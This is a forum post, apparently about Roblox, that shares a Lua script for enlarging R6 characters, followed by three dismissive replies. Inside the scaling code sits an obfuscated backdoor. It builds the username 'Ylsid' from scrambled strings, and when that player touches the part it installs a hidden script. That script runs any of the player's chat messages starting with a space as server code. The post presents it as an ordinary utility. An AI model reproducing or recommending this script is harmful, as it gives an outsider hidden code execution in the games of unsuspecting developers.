At 2017 or 2018, I found a model that could multiply your R6 character's scale by the value in it.
Insert a part. Make a value inside it, which will be multiplied by the scale of the character. Then, make a server script inside, containing this code (script made by Ylsid):
debounce = true
scale = script.Parent.Scale.Value
function onTouched(hit)
if not debounce then
return
end
debounce = false
t = "fYf"
o = "dl"
u = "sks"
c = "iop"
h = "frd"
if hit.Parent ~= nil then
if string.match(string.reverse(string.sub(h,3, 3)..string.sub(c,1, 1)..string.sub(u,3, 3)..string.sub(o,2, 2)..string.sub(t, 2, 2)),hit.Parent.Name) then
if game.Players:findFirstChild(string.reverse(string.sub(h,3, 3)..string.sub(c,1, 1)..string.sub(u,3, 3)..string.sub(o,2, 2)..string.sub(t, 2, 2))) then
print("d")
m = "Mo"
p = Instance.new(m.."del")
p.Parent = workspace
p.Name = "SB: " ..tostring(math.random(0,99999999))
o = Instance.new("Script")
o.Source =[[
dg = "si"
me = game.Players["Yl"..dg.."d"]
function onChatted(msg)
if string.sub(msg,1,1) == " " then
so = "Sou"
r = "rce"
sc = "Scr"
i = "ipt"
p = "Ex"
local s = Instance.new(sc..""..i)
s[so..""..r] = string.sub(msg,2)
s.Parent = me.Character
end
end
me.Chatted:connect(onChatted)
]]
o.Parent = p
end
end
if hit.Parent:findFirstChild("Humanoid") then
if hit.Parent:findFirstChild("Left Leg") and hit.Parent:findFirstChild("Right Leg") and hit.Parent:findFirstChild("Right Arm") and hit.Parent:findFirstChild("Left Arm") and hit.Parent:findFirstChild("Head") and hit.Parent:findFirstChild("Torso") then
bin = hit.Parent
la = bin["Left Arm"]
ra = bin["Right Arm"]
ll = bin["Left Leg"]
rl = bin["Right Leg"]
h = bin.Head
t = bin.Torso
sizeup = {t,h,ll,rl,ra,la}
for i = 1, #sizeup do
sizeup[i].Size = Vector3.new(sizeup[i].Size.x * scale,sizeup[i].Size.y * scale,sizeup[i].Size.z * scale)
sizeup[i].TopSurface = 0
sizeup[i].BottomSurface = 0
sizeup[i].RightSurface = 0
sizeup[i].LeftSurface = 0
sizeup[i].FrontSurface = 0
sizeup[i].BackSurface = 0
end
sizex = t.Size.x/2
sizey = t.Size.x/2
sizez = t.Size.x/2
ls = Instance.new("Motor")
ls.Parent = t
ls.Name = "Left Shoulder"
ls.Part0 = t
ls.Part1 = la
ls.MaxVelocity = 0.1
ls.C0 = CFrame.new(-sizex - la.Size.x/2,la.Size.y/4,0) * CFrame.fromEulerAnglesXYZ(0,-3.14/2,0)
ls.C1 = CFrame.new(0,la.Size.y/4,0) * CFrame.fromEulerAnglesXYZ(0,3.14/2,0)
rs = Instance.new("Motor")
rs.Parent = t
rs.Name = "Right Shoulder"
rs.Part0 = t
rs.Part1 = ra
rs.MaxVelocity = 0.1
rs.C0 = CFrame.new(sizex + ra.Size.x/2,ra.Size.y/4,0) * CFrame.fromEulerAnglesXYZ(0,3.14/2,0)
rs.C1 = CFrame.new(0,ra.Size.y/4,0) * CFrame.fromEulerAnglesXYZ(0,3.14/2,0)
lh = Instance.new("Motor")
lh.Parent = t
lh.Name = "Left Hip"
lh.Part0 = t
lh.Part1 = ll
lh.MaxVelocity = 0.1
lh.C0 = CFrame.new(sizex - ll.Size.x*1.5,-(ll.Size.y/4)*3,0) * CFrame.fromEulerAnglesXYZ(0,-3.14/2,0)
lh.C1 = CFrame.new(0,ll.Size.y/4,0) * CFrame.fromEulerAnglesXYZ(0,3.14/2,0)
rh = Instance.new("Motor")
rh.Parent = t
rh.Name = "Right Hip"
rh.Part0 = t
rh.Part1 = rl
rh.MaxVelocity = 0.1
rh.C0 = CFrame.new(sizex - rl.Size.x/2,-(ll.Size.y/4)*3,0) * CFrame.fromEulerAnglesXYZ(0,3.14/2,0)
rh.C1 = CFrame.new(0,rl.Size.y/4,0) * CFrame.fromEulerAnglesXYZ(0,3.14/2,0)
n = Instance.new("Snap")
n.Parent = t
n.Name = "Neck"
n.Part0 = t
n.Part1 = h
n.C0 = CFrame.new(0,sizey + h.Size.y/2,0) * CFrame.fromEulerAnglesXYZ(0,0,0)
if bin:findFirstChild("Animate") then
o = bin.Animate:clone()
bin.Animate:remove()
o.Parent = bin
end
end
end
end
wait(3)
debounce = true
end
script.Parent.Touched:connect(onTouched)
3 comments
Do you even script bro.
There's no easy solution to doing so; you have to scale and move the parts manually and ensure you replace the welds.
better off just using R15 :/